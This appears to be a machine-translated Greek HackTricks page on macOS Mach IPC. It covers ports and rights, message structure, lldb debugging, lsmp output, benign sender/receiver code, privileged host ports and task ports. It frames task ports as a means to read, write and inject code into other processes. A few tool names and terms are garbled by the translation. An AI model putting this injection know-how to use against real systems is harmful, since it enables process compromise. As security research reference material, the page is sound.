macOS IPC - Inter Process Communication

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Μηνύματα Mach μέσω Θυρών

Βασικές Πληροφορίες

Το Mach χρησιμοποιεί εργασίες ως τη μικρότερη μονάδα για την κοινή χρήση πόρων, και κάθε εργασία μπορεί να περιέχει πολλά νήματα. Αυτές οι εργασίες και νήματα αντιστοιχούν 1:1 σε διεργασίες και νήματα POSIX.

Η επικοινωνία μεταξύ εργασιών πραγματοποιείται μέσω της Διαδικασίας Επικοινωνίας Διεργασιών Mach (IPC), χρησιμοποιώντας μονοδιευθυντικά κανάλια επικοινωνίας. Τα μηνύματα μεταφέρονται μεταξύ θυρών, οι οποίες λειτουργούν ως είδος ουράς μηνυμάτων που διαχειρίζεται το πυρήνα.

Μια θύρα είναι το βασικό στοιχείο του Mach IPC. Μπορεί να χρησιμοποιηθεί για να στείλει μηνύματα και να τα λαμβάνει.

Κάθε διεργασία έχει μια πίνακα IPC, όπου είναι δυνατό να βρεθούν οι θύρες mach της διεργασίας. Το όνομα μιας θύρας mach είναι πραγματικά ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).

Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα σε μια διαφορετική εργασία και το πυρήνας θα κάνει αυτήν την εγγραφή στο πίνακα IPC της άλλης εργασίας να εμφανιστεί.

Δικαιώματα Θύρας

Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά δικαιώματα θύρας είναι (ορισμοί από εδώ):

  • Δικαίωμα Λήψης, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο ένα δικαίωμα λήψης για κάθε θύρα σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν υποδείξεις αρχείων στο άκρο ανάγνωσης ενός αγωγού).

  • Μια εργασία με το Δικαίωμα Λήψης μπορεί να λαμβάνει μηνύματα και να δημιουργεί Δικαιώματα Αποστολής, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της.

  • Εάν ο κάτοχος του Δικαιώματος Λήψης πεθάνει ή το κλείσει, το δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).

  • Δικαίωμα Αποστολής, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.

  • Το Δικαίωμα Αποστολής μπορεί να κλωνοποιηθεί έτσι μια εργασία που κατέχει ένα Δικαίωμα Αποστολής μπορεί να κλωνοποιήσει το δικαίωμα και να το χορηγήσει σε μια τρίτη εργασία.

  • Σημειώστε ότι τα δικαιώματα θύρας μπορούν επίσης να περάσουν μέσω μηνυμάτων Mac.

  • Δικαίωμα Αποστολής-Μία-Φορά, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.

  • Αυτό το δικαίωμα δεν μπορεί να κλωνοποιηθεί, αλλά μπορεί να μετακινηθεί.

  • Δικαίωμα Συνόλου Θυρών, το οποίο υποδηλώνει ένα σύνολο θυρών αντί για μια μεμονωμένη θύρα. Η αποσύνθεση ενός μηνύματος από ένα σύνολο θυρών αποσύρει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το select/poll/epoll/kqueue στο Unix.

  • Νεκρό Όνομα, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.

Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει το δικαίωμα και να το δώσει σε μια τρίτη εργασία. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως διακομιστής εκκίνησης, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.

Ένα Μήνυμα Mach

Βρείτε περισσότερες πληροφορίες εδώ

Η συνάρτηση mach_msg, ουσιαστικά ένα κάλεσμα συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα αποσταλεί ως αρχικό όρισμα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή mach_msg_header_t, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Οι διεργασίες που διαθέτουν ένα δικαίωμα λήψης (receive right) μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι αποστολείς (senders) διαθέτουν ένα δικαίωμα αποστολής (send) ή ένα δικαίωμα αποστολής μία φορά (send-once right). Το δικαίωμα αποστολής μία φορά χρησιμοποιείται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο γίνεται άκυρο.

Το αρχικό πεδίο msgh_bits είναι ένα bitmap:

  • Το πρώτο bit (πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι πολύπλοκο (περισσότερα παρακάτω)

  • Τα 3ο και 4ο bit χρησιμοποιούνται από τον πυρήνα

  • Τα 5 λιγότερο σημαντικά bits του 2ου byte μπορούν να χρησιμοποιηθούν για voucher: έναν άλλο τύπο θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.

  • Τα 5 λιγότερο σημαντικά bits του 3ου byte μπορούν να χρησιμοποιηθούν για τοπική θύρα

  • Τα 5 λιγότερο σημαντικά bits του 4ου byte μπορούν να χρησιμοποιηθούν για απομακρυσμένη θύρα

Οι τύποι που μπορούν να καθοριστούν στο voucher, τις τοπικές και απομακρυσμένες θύρες είναι (από mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Για παράδειγμα, το MACH_MSG_TYPE_MAKE_SEND_ONCE μπορεί να χρησιμοποιηθεί για να υποδείξει ότι ένα δικαίωμα αποστολής μία φορά θα πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα. Μπορεί επίσης να καθοριστεί το MACH_PORT_NULL για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.

Για να επιτευχθεί μια εύκολη διπλής κατεύθυνσης επικοινωνία μια διεργασία μπορεί να καθορίσει μια θύρα mach στην κεφαλίδα μηνύματος mach που ονομάζεται θύρα απάντησης (msgh_local_port) όπου ο παραλήπτης του μηνύματος μπορεί να στείλει μια απάντηση σε αυτό το μήνυμα.

Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (xpc_connection_send_message_with_reply και xpc_connection_send_message_with_reply_sync). Ωστόσο, συνήθως δημιουργούνται διαφορετικές θύρες όπως εξηγήθηκε προηγουμένως για τη δημιουργία διπλής κατεύθυνσης επικοινωνίας.

Τα άλλα πεδία της κεφαλίδας του μηνύματος είναι:

  • msgh_size: το μέγεθος ολόκληρου του πακέτου.

  • msgh_remote_port: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.

  • msgh_voucher_port: κουπόνια mach.

  • msgh_id: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.

Σημειώστε ότι τα μηνύματα mach αποστέλλονται μέσω μιας θύρας mach, η οποία είναι ένα κανάλι επικοινωνίας μοναδικού παραλήπτη, πολλαπλών αποστολέων που έχει ενσωματωθεί στον πυρήνα mach. Πολλές διεργασίες μπορούν να στείλουν μηνύματα σε μια θύρα mach, αλλά ανά πάσα στιγμή μόνο μια διεργασία μπορεί να διαβάσει από αυτήν.

Τα μηνύματα σχηματίζονται από την κεφαλίδα mach_msg_header_t ακολουθούμενη από το σώμα και από το τρέιλερ (εάν υπάρχει) και μπορεί να επιτρέψει την άδεια απάντησης σε αυτό. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία σε μια άλλη.

Ένα τρέιλερ είναι πληροφορίες που προστίθενται στο μήνυμα από τον πυρήνα (δεν μπορούν να οριστούν από τον χρήστη) τα οποία μπορούν να ζητηθούν κατά τη λήψη μηνύματος με τις σημαίες MACH_RCV_TRAILER_<trailer_opt> (υπάρχουν διαφορετικές πληροφορίες που μπορούν να ζητηθούν).

Πολύπλοκα Μηνύματα

Ωστόσο, υπάρχουν και άλλα πιο πολύπλοκα μηνύματα, όπως αυτά που περνούν επιπλέον δικαιώματα θύρας ή μοιράζονται μνήμη, όπου ο πυρήνας πρέπει επίσης να στείλει αυτά τα αντικείμενα στον παραλήπτη. Σε αυτές τις περιπτώσεις, το πιο σημαντικό bit της κεφαλίδας msgh_bits ορίζεται.

Οι πιθανοί περιγραφείς που περνούν ορίζονται στο mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

Στα 32bits, όλες οι περιγραφές είναι 12B και ο τύπος της περιγραφής βρίσκεται στον 11ο. Στα 64 bits, τα μεγέθη ποικίλουν.

Το πυρήνας θα αντιγράψει τις περιγραφές από μια εργασία σε μια άλλη, αλλά πρώτα δημιουργεί ένα αντίγραφο στη μνήμη του πυρήνα. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε αρκετές εκμεταλλεύσεις για να κάνει τον πυρήνα να αντιγράψει δεδομένα στη μνήμη του κάνοντας ένα διεργασία να στείλει περιγραφές στον εαυτό της. Στη συνέχεια η διεργασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).

Είναι επίσης δυνατόν να στείλετε δικαιώματα θύρας σε μια ευάλωτη διεργασία, και τα δικαιώματα θύρας θα εμφανιστούν απλώς στη διεργασία (ακόμα κι αν δεν τα χειρίζεται).

Προγραμματιστικά Πεδία Mac Ports

Σημειώστε ότι οι θύρες συσχετίζονται με το χώρο ονομάτων της εργασίας, έτσι για τη δημιουργία ή αναζήτηση μιας θύρας, επίσης ερευνάται το χώρο ονομάτων της εργασίας (περισσότερα στο mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Δημιουργία μιας θύρας.

  • Το mach_port_allocate μπορεί επίσης να δημιουργήσει ένα σύνολο θυρών: δικαίωμα λήψης πάνω από μια ομάδα θυρών. Κάθε φορά που λαμβάνεται ένα μήνυμα, υποδεικνύεται η θύρα από όπου προήλθε.

  • mach_port_allocate_name: Αλλαγή του ονόματος της θύρας (προεπιλεγμένα 32bit ακέραιος)

  • mach_port_names: Λήψη ονομάτων θύρας από έναν στόχο

  • mach_port_type: Λήψη δικαιωμάτων μιας εργασίας πάνω σε ένα όνομα

  • mach_port_rename: Μετονομασία μιας θύρας (όπως το dup2 για τα FDs)

  • mach_port_allocate: Εκχώρηση μιας νέας ΛΗΨΗΣ, ΣΥΝΟΛΟΥ_ΘΥΡΩΝ ή DEAD_NAME

  • mach_port_insert_right: Δημιουργία νέου δικαιώματος σε μια θύρα όπου έχετε ΛΗΨΗ

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Συναρτήσεις που χρησιμοποιούνται για το στέλνει και λαμβάνει μηνύματα mach. Η έκδοση overwrite επιτρέπει την καθορισμό διαφορετικού buffer για τη λήψη μηνύματος (η άλλη έκδοση θα το επαναχρησιμοποιήσει).

Debug mach_msg

Καθώς οι συναρτήσεις mach_msg και mach_msg_overwrite είναι αυτές που χρησιμοποιούνται για την αποστολή και λήψη μηνυμάτων, η ορισμός ενός σημείου αναστολής σε αυτές θα επιτρέψει την επιθεώρηση των απεσταλμένων και ληφθέντων μηνυμάτων.

Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής που μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει το libSystem.B που θα χρησιμοποιήσει αυτή τη λειτουργία.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Για να λάβετε τα ορίσματα της mach_msg ελέγξτε τους καταχωρητές. Αυτά είναι τα ορίσματα (από mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Λάβετε τις τιμές από τα μητρώα:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Εξετάστε την κεφαλίδα του μηνύματος ελέγχοντας τον πρώτο ορισμό:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Αυτο το είδος του mach_msg_bits_t είναι πολύ συνηθισμένο για να επιτρέπει μια απάντηση.

Απαρίθμηση θυρών

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Το όνομα είναι το προεπιλεγμένο όνομα που δίνεται στη θύρα (ελέγξτε πώς αυξάνεται στα πρώτα 3 bytes). Το ipc-object είναι το κρυπτογραφημένο μοναδικό αναγνωριστικό της θύρας. Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα send αναγνωρίζουν τον κάτοχό τους (όνομα θύρας + pid). Επίσης, σημειώστε τη χρήση του + για να υποδείξετε άλλες εργασίες που συνδέονται με την ίδια θύρα.

Είναι επίσης δυνατόν να χρησιμοποιήσετε το procesxp για να δείτε επίσης τα ονόματα των εγγεγραμμένων υπηρεσιών (με το SIP απενεργοποιημένο λόγω της ανάγκης του com.apple.system-task-port):

procesp 1 ports

Μπορείτε να εγκαταστήσετε αυτό το εργαλείο στο iOS κατεβάζοντάς το από http://newosxbook.com/tools/binpack64-256.tar.gz

Παράδειγμα κώδικα

Σημειώστε πώς ο αποστολέας εκχωρεί ένα θύρα, δημιουργεί ένα δικαίωμα αποστολής για το όνομα org.darlinghq.example και το στέλνει στο διακομιστή εκκίνησης ενώ ο αποστολέας ζήτησε το δικαίωμα αποστολής αυτού του ονόματος και το χρησιμοποίησε για να στείλει ένα μήνυμα.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Αποστολέας.c

Ο κώδικας στο αρχείο sender.c χρησιμοποιείται για να δημιουργήσει έναν αποστολέα δεδομένων IPC στο macOS. Ο αποστολέας αυτός είναι υπεύθυνος για την αποστολή δεδομένων σε μια άλλη διεργασία μέσω IPC.

Αυτός ο κώδικας μπορεί να χρησιμοποιηθεί για να κατανοήσετε πώς λειτουργεί η διαδικασία ανάμεσα σε διαφορετικές διεργασίες στο macOS και πώς μπορεί να γίνει κατάχρηση της διαδικασίας αυτής για προνομιακή ενίσχυση.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Προνομιούχες Θύρες

Υπάρχουν μερικές ειδικές θύρες που επιτρέπουν την εκτέλεση συγκεκριμένων ευαίσθητων ενεργειών ή την πρόσβαση σε συγκεκριμένα ευαίσθητα δεδομένα στην περίπτωση που μια εργασία έχει τα δικαιώματα SEND πάνω σε αυτές. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την άποψη των επιτιθέμενων όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατόν να μοιραστούν τα δικαιώματα SEND μεταξύ εργασιών.

Ειδικές Θύρες Οικοδεσπότη

Αυτές οι θύρες εκφράζονται με έναν αριθμό.

Τα δικαιώματα SEND μπορούν να αποκτηθούν καλώντας τη συνάρτηση host_get_special_port και τα δικαιώματα RECEIVE καλώντας τη συνάρτηση host_set_special_port. Ωστόσο, και οι δύο κλήσεις απαιτούν τη θύρα host_priv στην οποία μόνο ο ριζικός χρήστης μπορεί να έχει πρόσβαση. Επιπλέον, στο παρελθόν ο ριζικός χρήστης μπορούσε να καλέσει τη συνάρτηση host_set_special_port και να αρπάξει τυχαίες που επέτρεπαν, για παράδειγμα, την παράκαμψη των υπογραφών κώδικα με την αρπαγή της HOST_KEXTD_PORT (το SIP τώρα το αποτρέπει).

Αυτές διαιρούνται σε 2 ομάδες: Οι πρώτες 7 θύρες ανήκουν στον πυρήνα με την 1 να είναι η HOST_PORT, η 2 η HOST_PRIV_PORT, η 3 η HOST_IO_MASTER_PORT και η 7 η HOST_MAX_SPECIAL_KERNEL_PORT. Αυτές που ξεκινούν από τον αριθμό 8 ανήκουν σε δαίμονες του συστήματος και μπορούν να βρεθούν δηλωμένες στο αρχείο host_special_ports.h.

  • Θύρα Οικοδεσπότη: Αν ένας διεργασία έχει προνόμια SEND πάνω σε αυτήν τη θύρα, μπορεί να λάβει πληροφορίες για το σύστημα καλώντας τις ρουτίνες της όπως:

  • host_processor_info: Λήψη πληροφοριών επεξεργαστή

  • host_info: Λήψη πληροφοριών οικοδεσπότη

  • host_virtual_physical_table_info: Πληροφορίες εικονικού/φυσικού πίνακα σελίδων (απαιτεί MACH_VMDEBUG)

  • host_statistics: Λήψη στατιστικών οικοδεσπότη

  • mach_memory_info: Λήψη διάταξης μνήμης πυρήνα

  • Προνομιούχα Θύρα Οικοδεσπότη: Μια διεργασία με δικαίωμα SEND πάνω σε αυτήν τη θύρα μπορεί να εκτελέσει προνομιούχες ενέργειες όπως εμφάνιση δεδομένων εκκίνησης ή προσπάθεια φόρτωσης επέκτασης πυρήνα. Η διεργασία πρέπει να είναι ριζικός χρήστης για να λάβει αυτήν την άδεια.

  • Επιπλέον, για να καλέσει το API kext_request απαιτούνται άλλα δικαιώματα com.apple.private.kext* τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.

  • Άλλες ρουτίνες που μπορούν να κληθούν είναι:

  • host_get_boot_info: Λήψη machine_boot_info()

  • host_priv_statistics: Λήψη προνομιούχων στατιστικών

  • vm_allocate_cpm: Δέσμευση συνεχούς φυσικής μνήμης

  • host_processors: Αποστολή δικαιωμάτων σε επεξεργαστές οικοδεσπότη

  • mach_vm_wire: Κάνει τη μνήμη μόνιμη

  • Καθώς ο ριζικός χρήστης μπορεί να έχει πρόσβαση σε αυτήν την άδεια, θα μπορούσε να καλέσει host_set_[special/exception]_port[s] για να αρπάξει ειδικές ή εξαιρετικές θύρες οικοδεσπότη.

Είναι δυνατόν να δείτε όλες τις ειδικές θύρες οικοδεσπότη εκτελώντας:

procexp all ports | grep "HSP"

Task Ports

Αρχικά, το Mach δεν είχε "διεργασίες", είχε "εργασίες" που θεωρούνταν περισσότερο σαν ένας δοχείο νημάτων. Όταν το Mach συγχωνεύτηκε με το BSD, κάθε εργασία συσχετίστηκε με μια διεργασία BSD. Συνεπώς, κάθε διεργασία BSD έχει τις λεπτομέρειες που χρειάζεται για να είναι μια διεργασία και κάθε εργασία Mach έχει επίσης τη δική της λειτουργικότητα (εκτός από το μη υπαρκτό pid 0 που είναι το kernel_task).

Υπάρχουν δύο πολύ ενδιαφέρουσες συναρτήσεις σχετικές με αυτό:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Λάβετε ένα SEND δικαίωμα για τη θύρα εργασίας της εργασίας που σχετίζεται με το συγκεκριμένο από το pid και δώστε το στην καθορισμένη target_task_port (που συνήθως είναι η κλήση εργασίας που χρησιμοποίησε το mach_task_self(), αλλά θα μπορούσε να είναι μια θύρα SEND σε μια διαφορετική εργασία.)

  • pid_for_task(task, &pid): Δεδομένου ενός SEND δικαιώματος σε μια εργασία, βρείτε σε ποιο PID σχετίζεται αυτή η εργασία.

Για να εκτελέσετε ενέργειες μέσα στην εργασία, η εργασία χρειαζόταν ένα δικαίωμα SEND στον εαυτό της καλώντας το mach_task_self() (που χρησιμοποιεί το task_self_trap (28)). Με αυτή την άδεια, μια εργασία μπορεί να εκτελέσει διάφορες ενέργειες όπως:

  • task_threads: Λάβετε SEND δικαίωμα πάνω από όλες τις θύρες εργασίας των νημάτων της εργασίας

  • task_info: Λάβετε πληροφορίες σχετικά με μια εργασία

  • task_suspend/resume: Αναστολή ή επανέναρξη μιας εργασίας

  • task_[get/set]_special_port

  • thread_create: Δημιουργία ενός νήματος

  • task_[get/set]_state: Έλεγχος κατάστασης εργασίας

  • και περισσότερα μπορούν να βρεθούν στο mach/task.h

Σημειώστε ότι με ένα SEND δικαίωμα πάνω σε μια θύρα εργασίας μιας διαφορετικής εργασίας, είναι δυνατόν να εκτελεστούν τέτοιες ενέργειες σε μια διαφορετική εργασία.

Επιπλέον, η θύρα εργασίας είναι επίσης η θύρα vm_map που επιτρέπει το διάβασμα και την τροποποίηση μνήμης μέσα σε μια εργασία με συναρτήσεις όπως vm_read() και vm_write(). Αυτό σημαίνει βασικά ότι μια εργασία με δικαιώματα SEND πάνω στη θύρα εργασίας μιας διαφορετικής εργασίας θα μπορεί να ενθάρρυνει κώδικα σε αυτή την εργασία.

